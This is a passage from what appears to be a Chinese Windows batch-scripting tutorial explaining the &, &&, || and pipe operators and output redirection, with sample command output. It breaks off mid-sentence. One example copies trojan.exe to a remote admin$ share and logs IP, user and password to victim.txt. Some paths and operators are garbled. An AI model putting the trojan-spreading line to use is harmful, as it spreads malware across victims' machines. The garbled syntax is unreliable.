1.&
Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時(shí)執(zhí)行多條命令,而不管命令是否執(zhí)行成功
Sample:
C:/>dir z: & dir c:/Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:/Ex4rch
2020-03-13 23:51 .
2020-03-13 23:51 ..
2020-03-13 23:51 14 sometips.gif
2.&&
Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
用這種方法可以同時(shí)執(zhí)行多條命令,當(dāng)碰到執(zhí)行出錯(cuò)的命令后將不執(zhí)行后面的命令,如果一直沒有出錯(cuò)則
一直執(zhí)行完所有命令;
Sample:
C:/>dir z: && dir c:/Ex4rch
The system cannot find the path specified.
C:/>dir c:/Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:/Ex4rch
2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做備份的時(shí)候可能會(huì)用到這種命令會(huì)比較簡(jiǎn)單,如:
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb
E:/backup
如果遠(yuǎn)程服務(wù)器上存在backup.mdb文件,就執(zhí)行copy命令,若不存在該文件則不執(zhí)行copy命令。這種用法
可以替換IF exist了.
3.||
Usage:第一條命令 || 第二條命令 [|| 第三條命令...]
用這種方法可以同時(shí)執(zhí)行多條命令,當(dāng)碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒有出現(xiàn)正確的
命令則一直執(zhí)行完所有命令;
Sample:
C:/Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:/Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
組合命令使用的例子:
sample:
@copy trojan.exe //%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3
>>victim.txt
管道命令的使用
1.|管道命令
Usage:第一條命令 | 第二條命令 [| 第三條命令...]
將第一條命令的結(jié)果作為第二條命令的參數(shù)來使用,記得在unix中這種方式很常見。
time /t>>D://IP.lognetstat -n -p tcp|find ":3389">>D://IP.logstart Explorer
看出來了么?用于終端服務(wù)允許我們?yōu)橛脩糇远x起始的程序,來實(shí)現(xiàn)讓用戶運(yùn)行下面這個(gè)bat,以獲得登錄用戶的IP。
2.>,>>輸出重定向命令
將一條命令或某個(gè)程序輸出結(jié)果的重定向到特定文件中, > 與 >>的區(qū)別在于,>會(huì)清除調(diào)原有文件中的內(nèi)
新聞熱點(diǎn)
疑難解答